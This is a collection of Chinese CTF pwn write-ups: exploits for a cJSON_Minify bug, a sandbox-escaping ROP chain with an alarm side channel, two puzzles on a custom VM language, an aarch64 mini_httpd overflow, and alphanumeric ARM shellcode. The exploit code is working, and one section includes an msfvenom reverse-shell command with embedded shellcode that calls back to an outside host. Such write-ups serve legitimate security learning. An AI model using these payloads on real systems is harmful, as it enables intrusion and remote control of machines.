分类 writeups 下的文章

dataleak

cJSON库里cJSON_Minify函数有个漏洞

void cJSON_Minify(char *json)
{
    char *into=json;
    while (*json)
    {
        if (*json==' ') json++;
        else if (*json=='\t') json++;    /* Whitespace characters. */
        else if (*json=='\r') json++;
        else if (*json=='\n') json++;
        else if (*json=='/' && json[1]=='/')  while (*json && *json!='\n') json++;    
        else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;}    /* multiline comments. */
        else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;} 
        else *into++=*json++;            /* All other characters. */
    }
    *into=0;    /* and null-terminate. */
}

多行注释的处理没考虑注释不闭合,可能造成越界读写

相关issue

exp:

from pwn import*

p=remote('124.70.202.226',2101)
#p=process('./cJSON_PWN')
context.log_level='debug'

p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('/*'.rjust(0xe,'a')) #'this_is_dat'
a=p.recv(0xb)
print(a)

#gdb.attach(p)
p.send('aaaa/*'.ljust(0xe,'a'))
#gdb.attach(p)
p.send('a/*'.ljust(0xe,'a')) #'a_in_server'
b=p.recv(0xb)
print(a+b)

p.interactive()

把栈上存的要你读的数据leak出来,在交互里换flag

Gadget

用纯gadget切换到32位模式绕过沙箱限制打开文件,然后切回64位模式用alarm侧信道爆破flag字符

由于一次可输入的长度不够,这里分成了三段ROP,每段之前先迁移一下栈

exp:

from pwn import *
import time
import sys
import threading

context.arch = "amd64"
#context.log_level = "debug"

flag = {}
lock = threading.Lock()

# addrs
bss = 0x40c000
flag_ch_pos = bss+0x1500
fake_stack = bss+0x1000
fake_stack2 = bss+0x1100
fake_stack3 = bss+0x1200

# gadgets
retfq = 0x4011ec
retf = 0x4011ed
ret = 0x40312c
leave_ret = 0x7ffff7ffde52
pop_rsp_ppp_ret = 0x401730
pop_rdi_rbp = 0x401734
pop_rsi_r15_rbp = 0x401732
pop_rbp_ret = 0x401102
pop_rax_ret = 0x401001
pop_rcx_ret = 0x40117b
pop_rbx_ppp_ret = 0x403072
int_0x80_ret = 0x4011f3
syscall_ret = 0x408865
read_0xc0_gadget = 0x401170
push_rsi_ret = 0x4011c5
int3 = 0x4011eb

alarm_gadget = 0x40115D
'''
.text:000000000040115D                 mov     eax, 25h
.text:0000000000401162                 mov     edi, [rbp-8]    ; seconds
.text:0000000000401165                 syscall                 ; LINUX - sys_alarm
.text:0000000000401167                 pop     rbp
.text:0000000000401168                 retn
'''

def exp(curr_ch):
    # 121.37.135.138 2102
    #p = process("./gadget")
    p = remote("121.37.135.138", 2102)
    
    #gdb.attach(p, "b *0x40119a\nc\n")
    offset = 0x38
    move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget)
    #move_stack_payload += p64(leave_ret) # start part1
    move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1
    p.send(move_stack_payload)
    
    # part 1
    time.sleep(1)
    bss_payload = b"./flag\x00\x00" # new rbp 
    bss_payload += p64(0)*2
    bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86
    
    bss_payload += p32(pop_rax_ret) + p32(5) # control eax to SYS_open
    bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3
    bss_payload += p32(pop_rcx_ret) + p32(0)
    bss_payload += p32(int_0x80_ret) # do SYS_open
    
    bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64

    bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2
    bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2)  # start part2
    
    #print("len(bss_payload):", hex(len(bss_payload)))  
    p.send(bss_payload)
    
    # part2
    time.sleep(1)
    bss_payload2 = p64(0xdeadbeef) # new rbp
    bss_payload2 += p64(0)*2
    bss_payload2 += p64(pop_rax_ret) + p64(0)  # control rax to SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef) # fd

    bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2
    bss_payload2 += p64(syscall_ret) # do SYS_read
    bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits
    
    bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3
    bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3)  # start part3
    
    #print("len(bss_payload2):", hex(len(bss_payload2)))  
    p.send(bss_payload2)
    
    # rewrite
    time.sleep(1)
    p.send(b"\x00"*0x7)
    #p.send(p64(7))
    
    # part3
    time.sleep(1)
    bss_payload3 = p64(0xdeadbeef) # new rbp
    bss_payload3 += p64(0)*2
    bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8)
    bss_payload3 += p64(alarm_gadget) # alarm gadget
    bss_payload3 += p64(0xdeadbeef) # padding
    
    bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2
    bss_payload3 += p64(push_rsi_ret) # blocking

    #print("len(bss_payload3):", hex(len(bss_payload3)))  
    p.send(bss_payload3)
    
    start = time.time()
    for i in range(1000):
        try:
            p.send(b"a")
        except:
            end = time.time()
            time_used = int(end-start)
            print(f"[ROUND {curr_ch}] Time used:", end-start)
            print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})")
            lock.acquire()
            flag[curr_ch] = chr(time_used)
            lock.release()
            return
        finally:
            time.sleep(0.3)
    print(f"[ROUND {curr_ch}] ERROR")
    p.close()
    return

if __name__ == "__main__":
    pool = []
    for _round in range(33):
        th = threading.Thread(target=exp, args=(_round, ))
        th.setDaemon = True
        pool.append(th)
        th.start()
    for th in pool:
        th.join()
    flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])}    
    print(flag)
    flag_str = ""
    for k, v in flag.items():
        flag_str = flag_str + v
    print(flag_str)

Christmas Song

题目给了编译器源代码,./com目录下有词法和语法定义(lex+yacc)的源文件,从源文件逆出语法;

scanner.l

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
#include "parser.h"
int line = 1;
%}
%option noyywrap


%%
";"             {return NEW_LINE;}
":"             {return NEXT;}
"is"            {yylval=ast_operator_init('=');return OPERATOR;}
"gift"          {return GIFT;}
"reindeer"      {return REINDEER;}
"equal to"      {yylval=ast_operator_init('?'); return OPERATOR;}
"greater than"  {yylval=ast_operator_init('>'); return OPERATOR;}
"if the gift"   {return IF;}
"delivering gift"    {return DELIVERING;}
"brings back gift"   {return BACK;}
"this family wants gift"                {return WANT;}
"ok, they should already have a gift;"  {return ENDWANT;}
"Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;}

<<EOF>>         {return 0;}

[ ]             {/* empty */}
[\n]            {line++;}
[-+*/]          {yylval=ast_operator_init(yytext[0]); return OPERATOR;}
[a-zA-Z]+       {yylval=ast_word_init(yytext); return WORD;}
[0-9]+          {yylval=ast_number_init(yytext); return NUMBER;}
\"([^\"]*)\"    {yylval=ast_string_init(yytext); return STRING;}
(#[^#]*#)       {/* empty */}
%%

void yyerror(ast_t **modlue,const char *msg) {
    printf("\nError at %d: %s\n\t%s\n", line, yytext, msg);
    exit(1);
}

parser.y

%{
#include "com/ast.h"
#define YYSTYPE ast_t *
#include <stdio.h>
extern int yylex (void);
void yyerror(ast_t **modlue, const char*);
%}

%parse-param { ast_t **module}

%token GIFT REINDEER DELIVERING BACK STRING
%token WORD NEW_LINE NUMBER OPERATOR
%token AGAIN IF WANT ENDWANT NEXT 


%%
proprame    :   stmts   
                {$$ = *module = $1;}
            ;
stmts   :   stmt 
                {$$ = ast_init(AST_STMT, 1, $1);}
        |   stmts stmt
                {$$ = ast_add_child($1, $2);}
        ;
stmt    :   call_expr 
        |   want_stmt
        |   var_expr NEW_LINE
                {$$ = $1;} 
        ;

want_stmt :     WANT WORD lists ENDWANT  
                {$$ = ast_init(AST_WANT, 2, $2, $3);}
        ;

lists    :  list 
                {$$ = ast_init(AST_LISTS, 1, $1);}
        |  lists list 
                {$$ = ast_add_child($1, $2);}
        ;

list    :  IF OPERATOR expr NEXT stmts
                {$$ = ast_init(AST_LIST, 3, $2, $3, $5);}
        | list AGAIN 
                {$$ = ast_add_child($1, $2);}

call_expr   : call_expr BACK WORD NEW_LINE 
                {$$ = ast_add_child($1, $3);}
            | call_expr NEW_LINE 
                {$$ = $1;}
            | REINDEER WORD DELIVERING WORD WORD WORD  
                {$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);}
            ;

var_expr    : GIFT expr  
                {$$=$2;}
            ;

expr    :   expr OPERATOR expr    
                {$$=ast_init(AST_EXPR, 3, $1, $2, $3);}
        |   WORD               
                {$$=$1;}
        |   NUMBER             
                {$$=$1;}
        |   STRING 
                {$$=$1;}
        ;
%%

这个编译器实际上将源文件编译成了一个虚拟指令集构成的二进制文件,使用-r参数可以放到vm里面运行,检查了一下vm主要利用点在这:

void vm_opcode_call(arg){
    char *func = get_word;
    u_int64_t arg3 = pop;
    u_int64_t arg2 = pop;
    u_int64_t arg1 = pop;
    u_int64_t ret;

    if (is_func("Rudolph")){
        // ret = write(arg1, arg2, arg3);
        // No talking while singing Christmas Songs
        printf("error: \n%s\n", rudolph);
    }
    if (is_func("Dasher")){
        ret = read(arg1, arg2, arg3);
    }
    if (is_func("Dancer")){
        ret = open(arg1, arg2, arg3);
        if((int)ret < 0){
            printf("error con't open file %s\n", arg1);
            exit(EXIT_FAILURE);
        }
    }
    if (is_func("Prancer")){
        ret = strncmp(arg1, arg2, arg3);
    }
    if (is_func("Vixen")){
        ret = memcpy(arg1, arg2, arg3);
    }
    push(ret);
}
  1. 给了open和read,虽然没给wirte,但是可以从open的参数报错把flag打印出来;
  2. 构造利用的时候关键点在于leak,观察可以发现vm_opcode_call里面的局部变量ret没有初始化,也就是说首次进入vm_opcode_call只要不触发任何内置函数,就可以把ret的值泄露出来;泄露出来是一个堆上的可写地址,加偏移找一块空地作为BUF;
  3. 往BUF读文件名,然后读FLAG到BUF上,最后通过报错打印即可拿到FLAG
  • 1.slang
gift NULL is 0;
gift FD is 0;
gift C is 4096;
gift RN is 32;
gift E is 0;
reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift BUF is LEAK+12288;

reindeer Dasher delivering gift FD BUF RN;

reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD;
gift FLAGLEN is 30;
reindeer Dasher delivering gift FILEFD BUF FLAGLEN;
reindeer Dancer delivering gift BUF NULL NULL;
  • remote.py
from pwn import *

p = remote("124.71.144.133", 2144)
#p = process(["python3", "server.py"])
context.log_level = "debug"

with open("./1.slang", "rb") as f:
    p.sendline(f.read())
p.sendline(b"EOF")

pause(1)
p.send(b"/home/ctf/flag\x00")
#p.shutdown("send")

p.interactive()

Christmas Bash

相比于上一题题目恢复了 write 调用:

if (is_func("Rudolph")){
    ret = write(arg1, arg2, arg3);
    // No talking while singing Christmas Songs
    // printf("error: \n%s\n", rudolph);
}

并且预设了一个名为sleep的变量,该变量保存了sleep函数的地址(位于libc):

gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);

个人的非预期解法:

  1. 与之前相同,通过未初始化的 ret 泄露出堆地址;借助 sleep 函数可以得到 libc 地址
  2. 目标是打 vm_lambda_call 的返回地址进行 rop,于是想要泄露 environ
  3. 但是这个语言没有提供解引用的功能,计算出 environ 的地址后不能很方便的把里面的值读到某个变量
  4. 由于 strncmp 在比较两个不相等字符时会做减法然后返回差值,于是只要用一个空字串和 environ 逐字节比较就可以一个一个字节泄露出栈地址
  5. 泄露出栈地址后计算 vm_lambda_call 的返回地址,这里注意,参数个数不同会导致初始化栈上指针数量不通,从而导致栈偏移不同,写 exp 测试的时候应该按照加了 -r 参数的命令行来测试
  6. 计算各种 gadget 地址并保存到变量,计算出这些变量在堆上的地址(这一步堆布局是动态变化的,和语法树大小有关);将这个地址和目标栈地址放到 memncpy 进行拷贝,布置 ROP 链
  7. 结束程序前输出一次 "hello" ,这样才能进到第二次执行,在第一次执行的时候输出是被关掉的(两次执行的输入输出都被关掉了,所以EXP没有采用交互方式)
result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True)
if (result.decode() == "hello"):
    socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.")
    os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename))
else:
    socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!")
clean(filename);
  1. 最开始做的时候考虑到第一次不能读出flag导致无法进入第二次有输出的执行,于是借助了一个随机地址的字节,通过判断这个字节和127的大小关系可以得到一个二分之一的概率,总体而言就有四分之一的概率可以拿到flag(后来发现栈偏移问题后才知道这一步是多余的...一度以为这是考点)

exp.slang

gift NULL is 0;
gift NULSTR is "";
gift STDIN is 0;
gift STDOUT is 1;
gift RN is 32;
gift WNLEAK is 8;
gift CMPLEN is 1;
gift SHIFT is 256;
gift HELLO is "hello";
gift HELLOLEN is 5;

reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK;
gift HEAPBASE is LEAK-1152;
gift BUF is HEAPBASE+12288;
gift LIBCBASE is sleep-972880;
gift EXECVE is LIBCBASE+975632;
gift ENVIRON is LIBCBASE+2232000;
gift TMP is ENVIRON;
gift STACKLEAK is 0;


reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is BYTELEAK+STACKLEAK*1;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift RANDBYTE is BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256;
reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK;
gift TMP is TMP+1;
gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256*256;

gift MAINRET is STACKLEAK-1200;
gift MAINRETA is MAINRET+8;
gift MAINRETB is MAINRET+16;
gift MAINRETC is MAINRET+24;
gift MAINRETD is MAINRET+32;
gift MAINRETE is MAINRET+40;
gift MAINRETF is MAINRET+48;
gift POPRDIRET is LIBCBASE+190149;
gift POPRSIRET is LIBCBASE+196737;
gift POPRDXRET is LIBCBASE+1180274;
gift CMD is "/home/ctf/getflag";
gift EXECVEPTR is HEAPBASE+9768;
gift GADGETAPTR is HEAPBASE+10600;
gift GADGETBPTR is HEAPBASE+10600+32;
gift GADGETCPTR is HEAPBASE+10600+64;
gift CMDPTR is HEAPBASE+10696;

reindeer Dasher delivering gift STDIN BUF NULL;

gift AAAA is 0;
gift BBBB is 0;
gift CCCC is 0;
gift DDDD is 0;
gift EEEE is 0;
gift FFFF is 0;
gift GGGG is 0;

this family wants gift AAAA if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRET GADGETAPTR WNLEAK 
ok, they should already have a gift;

this family wants gift BBBB if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETA CMDPTR WNLEAK;
ok, they should already have a gift;

this family wants gift CCCC if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETB GADGETBPTR WNLEAK;
ok, they should already have a gift;

this family wants gift DDDD if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETC NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift EEEE if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETD GADGETCPTR WNLEAK;
ok, they should already have a gift;

this family wants gift FFFF if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETE NULSTR WNLEAK;
ok, they should already have a gift;

this family wants gift GGGG if the gift is RANDBYTE greater than 127:
reindeer Vixen delivering gift MAINRETF EXECVEPTR WNLEAK;
ok, they should already have a gift;


reindeer Rudolph delivering gift STDOUT HELLO HELLOLEN;

exp.py

from pwn import *
# context.log_level = "debug"

while True:
    p = remote("121.36.254.255", 2155)
    
    p.recvuntil(b"please input your flag url:")
    p.sendline(b"http://app.eqqie.cn/3.scom")
    p.interactive()

两个题都是aarch64

Master of HTTPD

分析

IoT题,aarch64,题目修改了mini_httpd的身份验证部分,加了一个输出认证信息的函数——没留意终端STDOUT...这里耽误了点时间。mini_httpd的源码可以在官网下载。

新加的函数在0x4046D0,base64完后的拷贝有栈溢出,刚好也比较好控制X30寄存器中的返回地址。

程序里面有个挺好用的万能gadget,就是控制起来麻烦点,好在bss段地址已知且内容可控,使得X19可以通过X29间接控制:

ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET

借助这个gadget先mprotect再执行shellcode。

为了触发http身份验证需要找到一个包含了 .htpasswd 文件的子目录。用dirsearch扫了一下发现http://xxx:xxx/admin/会请求身份验证,并且似乎只支持Basic验证方式。

由于题目是socket连接,STDIN和STDOUT不能直接控制,所以要去msf搞个反弹shell payload: msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp lhost=139.224.195.57 lport=10005 -f base64

shellcode可以写在bss段上用来储存http请求的缓冲区

调试

HTTPD程序会有两次fork。第一次是如果没加 -D 进入daemon模式,程序会fork一个子进程然后kill掉父进程,这时候如果我们在attach到qemu的远程调试端口时下的断点会失效。不过这个好解决,启动参数加上-D就好了。

第二次是accept到一个新的客户端请求时会fork出一个子进程去 handle_request(),然后父进程close掉客户端的文件描述符继续循环accept...这里也会导致gdb断掉,可以在ida里面把fork后的逻辑改一下,让父进程去 handle_request() 即可。

EXP

from pwn import *
from base64 import b64encode, b64decode

context.arch = "aarch64"
context.os = "linux"
context.log_level = "debug"

fmt = '''GET /admin/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: 111111115.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.43
Authorization: Basic '''

def set_pack(payload:bytes):
    return fmt.encode()+b64encode(payload)+b"\n\n"

# base: 0x400000
perfet_gadget = '''
ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET
'''
arg_start = 0x423680
popen_gadget = 0x4062C4

dup2 = 0x401EA0
mprotect = 0x401F20

def exp():
    p = remote("39.106.54.108", 30002)
    payload = b"A"*0x100+p64(arg_start)+p64(0x407D98) # x29 x30
    payload += p64(0xdeadbeef)*2
    #===
    payload += p64(arg_start) + p64(0x407D78) # x29 x30
    payload += p64(0xdeadbeef) # padding
    payload += p64(1) + p64(arg_start) # x20 x21
    payload += p64(0x41c000) + p64(0x15000) # x22 x23
    payload += p64(7) # x24
    #===
    payload += p64(arg_start) + p64(arg_start+0x20) # x29 x30
    
    pack = set_pack(payload).ljust(0x400, b"\x00")
    # args
    f = {}
    f[0x0] = p64(mprotect)
    f[0x10] = p64(0) #x19
    f[0x18] = p64(0) #padding
    pack += fit(f) + b64decode(b"QACA0iEAgNICAIDSyBiA0gEAANTjAwCqQQMAEAICgNJoGYDSAQAA1GACADXgAwOqAgCA0gEAgNIIA4DSAQAA1CEAgNIIA4DSAQAA1EEAgNIIA4DSAQAA1IABABACAIDS4AMA+eIHAPnhAwCRqBuA0gEAANQAAIDSqAuA0gEAANQCACcVi+DDOS9iaW4vc2gAAAAAAAAAAAA=")
    p.send(pack)

    p.interactive()
if __name__ == "__main__":
    exp()

exsc

题目要求写一个三个页内的 aarch64 alphanumeric shellcode

理论

有相关论文 - 《ARMv8 Shellcodes from ‘A’ to ‘Z’》:https://arxiv.org/pdf/1608.03415.pdf,但是没找到现成的轮子

论文前面大半部分都在讲构造原理,主要是如何构造完成各种功能的原语,然后将这些原语组合起来实现更复杂的功能

附录是实现模板,可以改来用:

一个是encoder,PHP写的:

encoder.php

<?php
function mkchr($c) {
    return(chr(0x40 + $c));
}

$s = file_get_contents('shellcode.bin.tmp');
$p = file_get_contents('raw_shellcode.bin');
$b = 0x60; /* Synchronize with pool */

for($i=0; $i <strlen($p); $i++)
{
    $q = ord($p[$i]);
    $s[$b+2*$i ] = mkchr(($q >> 4) & 0xF);
    $s[$b+2*$i+1] = mkchr( $q & 0xF);
}

$s = str_replace('@', 'P', $s);
file_put_contents('shellcode.bin', $s);

echo 'done';
?>

另一个是decoder+内嵌payload,使用m4语法来描述,需要自己转换成可以用的shellcode指令

decoder.m4

divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1, 0, {}, $1, 1, {$2},
{$2
repeat(eval($1 -1), {$2})})})
define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
define ({U}, 26)
define ({Z}, 19)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
divert (0) dnl
/* Set P */
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
pool: repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop

解题

test.py

用于生成payload文件:decoder.txt
from pwn import *
from base64 import b64decode

context.arch = "aarch64"
#context.log_level = "debug"

#execve_sh = b'\xeeE\x8c\xd2.\xcd\xad\xf2\xee\xe5\xc5\xf2\xeee\xee\xf2\x0f\r\x80\xd2\xee?\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4'
cat_flag = '''
/* push b'flag\x00' */
/* Set x14 = 1734437990 = 0x67616c66 */
mov x0, #0x1000
movk x0, #0x1000, lsl #16
movk x0, #0, lsl #0x20
movk x0, #0, lsl #0x30
mov sp, x0
mov x14, #27750
movk x14, #26465, lsl #16
str x14, [sp, #-16]!
/* call openat(-0x64, 'sp', 'O_RDONLY', 'x3') */
/* Set x0 = -100 = -0x64 */
mov x0, #65436
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x1, sp
mov x2, xzr
mov x8, #56
svc 0
/* call sendfile(1, 'x0', 0, 0x7fffffff) */
mov x1, x0
mov x0, #1
mov x2, xzr
/* Set x3 = 2147483647 = 0x7fffffff */
mov x3, #65535
movk x3, #32767, lsl #16
mov x8, #71
svc 0
'''
cat_flag = asm(cat_flag)
with open("./raw_shellcode.bin", "wb") as f:
    f.write(cat_flag)

decode_fmt_1 = '''
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
25
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
'''

# 解m4
decode_fmt_1 = decode_fmt_1.replace("WA", "W18")
decode_fmt_1 = decode_fmt_1.replace("WB", "W25")
decode_fmt_1 = decode_fmt_1.replace("WP", "W10")
decode_fmt_1 = decode_fmt_1.replace("XP", "X10")
decode_fmt_1 = decode_fmt_1.replace("WQ", "W11")
decode_fmt_1 = decode_fmt_1.replace("XQ", "X11")
decode_fmt_1 = decode_fmt_1.replace("WS", "W2")
decode_fmt_1 = decode_fmt_1.replace("WU", "W26")
decode_fmt_1 = decode_fmt_1.replace("WZ", "W19")

print(decode_fmt_1)

# 构造decoder
decoder = '''
l1: ADR X10, l1+0b010011000110100101101;
    SUBS W10, W10, #0x98 , lsl #12;
    SUBS W10, W10, #0xD19;
l2: ADR X11, l2+0b010011000110001001001;
    SUBS W11, W11, #0x98 , lsl #12;
    ADDS W11, W11, #0xE53;
    ADDS W11, W11, #0xC8C;
    ANDS W19, W19, W19, lsr #16;
    ANDS W19, W19, W19, lsr #16;
    ANDS W2, W19, W19, lsr #12;
loop: TBNZ W2, #0b01011 , 0b0010011100001100;
    LDRB W18, [X10, #76];
    LDRB W25, [X10, #77];
    ADDS W10, W10, #0xC1B;
    SUBS W10, W10, #0xC19;
    EON W18 , W19 , W18 , lsl #20;
    .word 0x72304f39;
    EON W25 , W25 , W18 , lsr #16;
    STRB W25, [X11, W19, uxtw];
    ADDS W11, W11, #0xC1A;
    SUBS W11, W11, #0xC19;
    ADDS W2, W2, #0xC1A;
    SUBS W2, W2, #0xC19;
    TBZ W19, #0b01001 , next;
'''
decoder += "    .word 0x42424242;\n"*978
decoder += "next:\n"
decoder += "    ANDS W26, W26, W26, lsr #12;\n"*77
decoder += "    TBZ W19 , #0b01001, loop;\n"

payload = asm(decoder).decode()
print(payload)
print("Len:", hex(len(payload)))

# ss由论文给的PHP脚本编码上面生成的 raw_shellcode.bin 后所得
